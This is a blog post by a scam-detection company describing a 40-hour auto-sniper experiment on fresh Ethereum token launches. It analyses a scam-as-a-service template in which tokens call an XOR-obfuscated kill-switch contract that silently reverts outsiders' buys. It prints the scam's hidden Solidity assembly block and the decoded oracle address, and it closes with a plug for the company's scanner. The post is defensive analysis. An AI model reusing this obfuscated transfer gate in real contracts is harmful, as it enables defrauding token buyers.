By Bryan Martin - founder of RektRadar. Ethereum scam-detection infrastructure since 2024. GitHub - LinkedIn.
We spend most of our time detecting scams from the outside. This time we went inside: we funded an auto-sniper with real ETH and let it try to buy fresh Ethereum launches for 40 hours. It was a controlled experiment, with a tiny 0.0015 ETH probe buy before any real position.
The result was strange. It bought 4 tokens - all honeypots, caught by our sell simulation. Every other attempt, 8 in a row, reverted at the buy with no reason at all: reason=null, data=null. Not slippage, not gas, not our relay. When we pulled the bytecode of those 8 tokens, they were byte-for-byte the same 3,706-byte template, and they all made a silent call to the same hidden contract before allowing a transfer.
That contract is a remote kill-switch. It decides, on chain and per transfer, who is allowed to trade. The operator’s own flow gets through. Snipers, bots, and outsiders - us - get a blank revert.
Dataset snapshot
Snapshot: 2026-07-03 to 2026-07-05 (UTC). Source: our own live trading wallet (16 trades, 12 distinct tokens) cross-referenced with on-chain bytecode via eth_getCode and verified sources via the block explorer.
- Tokens the sniper attempted: 12
- Silent buy reverts (
reason=null): 8 of 8 carried the kill-switch template - Distinct deployer wallets behind those 8 tokens: 7
- Shared kill-switch oracle: 1 contract (
0x610b10d3...6da5bf2b) - Template prevalence in a 250-token all-time V2 sample: ~2% (concentrated in fresh launches)
What the sniper actually saw
Our bot uses a test_then_buy guard: it buys a small probe, tries to sell it in an eth_call dry-run, and only commits a real buy if the sell would succeed. Over 40 hours:
| Outcome | Tokens | Cost |
|---|---|---|
| Honeypot (probe bought, sell blocked) | 4 | the probe, trapped |
| Silent buy revert (kill-switch) | 8 | 0 (no gas spent) |
| Clean, tradeable entry | 0 | - |
Zero clean entries. The only tokens that let our buy through were honeypots - contracts that want bots to buy so they can trap them. Everything with a working exit refused us.
The tell: a revert with no reason
A normal Uniswap failure tells you why. Too little output? INSUFFICIENT_OUTPUT_AMOUNT. Expired deadline? EXPIRED. These are strings the router bubbles up.
Our 8 reverts had none of that. Just execution reverted with reason=null, data=null. That is the signature of a bare revert(0, 0) deep inside the token’s own code - a revert that deliberately returns no data, so nothing explains why you failed.
The hidden code
The 8 tokens look like a clean OpenZeppelin ERC-20. Their transfer path is standard, except for one assembly block that runs on every transfer:
function emitTransfer(address from, address to, uint256 value) internal {
assembly {
let r := 0xd73218d0
let j := or(shl(128, xor(0xb6390803, r)),
or(shl(96, xor(0xb02df78d, r)),
or(shl(64, xor(0x7a5a30ea, r)),
or(shl(32, xor(0xdff38596, r)),
xor(0xba97a7fb, r)))))
let data := mload(0x40)
mstore(data, shl(224, 0x478d3305))
mstore(add(data, 0x04), from)
if iszero(call(gas(), j, 0, data, 0x24, 0, 0)) { revert(0, 0) }
}
emit Transfer(from, to, value);
}Read it top to bottom. j is an address, but it is never written as an address - it is rebuilt at runtime by XOR-ing five constants against a key (0xd73218d0), so a plain text search of the source finds nothing. Then the token calls j with selector 0x478d3305 and the from address. If that call fails, the whole transfer does revert(0, 0). No event, no reason, no trace in the verified source that screams “backdoor”.
Decode the XOR and the hidden address resolves to:
0x610b10d3671fef5dad68283a08c19d466da5bf2bOne oracle, many deployers
Here is the part that turns a single scam into an industry. We decoded the same assembly in a second token, from a different deployer wallet. The constants were identical. It resolves to the same 0x610b10d3... contract.
Across the 8 tokens our sniper hit, we counted 7 distinct deployer wallets, all shipping the same template, all pointing at the same kill-switch. That is not one scammer. That is scam-as-a-service: one operator runs the gate contract, and anyone can deploy a token that plugs into it. The gate contract itself is real, deployed, and holds no funds - it is pure control logic.
Who gets let in
If the sniper is blocked but 40+ other addresses trade the same token in the same minutes, someone is being let through. The addresses that do get in have the shape of the coordinated bot fleets we already track in our serial-buyer signal: wallets that appear across dozens of scam pools, buying in packs to manufacture volume. The kill-switch is the enforcement layer for a wash-traded launch - it lets the operator’s own fleet paint the chart while reverting the outsiders who might dump on them.
Why a private RPC will not save you
The instinct, when your buys keep reverting, is to route through a private relay (a “flash RPC”) so the mempool cannot see you coming. It will not help here. Front-running protection hides your transaction from other bots. This gate is not a front-runner - it is a require inside the token contract. It executes in the EVM no matter how your transaction arrives, public or private. Against a contract that simply chooses to revert you, there is no submission trick that gets you in. The only safe move is to not be the exit liquidity in the first place.
Limits of our data
- Small, self-selected sample. The 8 tokens are the ones our sniper happened to attempt over one 40-hour window. They are fresh launches, which is exactly where this template concentrates - so 8 of 8 overstates how common it is across all tokens. In a broad 250-token all-time sample, only ~2% carried it.
- We see the gate, not the allow-list. We proved the transfer calls an operator-controlled contract that can revert at will. We did not reverse the oracle’s internal logic, so “it lets the fleet through” is inferred from behaviour (others traded while we were reverted), not read from its code.
- Addresses and templates drift. The specific oracle (
0x610b10d3...) and the 3,706-byte bytecode are a July 2026 snapshot. Operators rotate contracts and re-obfuscate; the exact constants will change even if the pattern does not.
TL;DR
- We funded a real auto-sniper. Over 40 hours it made 0 clean entries: 4 honeypots and 8 silent reverts.
- All 8 silent reverts were the same obfuscated template calling one hidden kill-switch contract (
0x610b10d3...), across 7 different deployers. - The revert is a deliberate
revert(0, 0)with no reason, triggered by a XOR-hidden assembly call the verified source hides in plain sight. - A private RPC does not bypass it - the gate is on-chain contract logic, not a mempool race.
- The tokens that did let us buy were honeypots. On a fresh launch, the door only opens for the operator’s fleet.
Try the free scan, no signup, no card - it runs a sell simulation and reads the deployer graph before you become someone’s exit liquidity.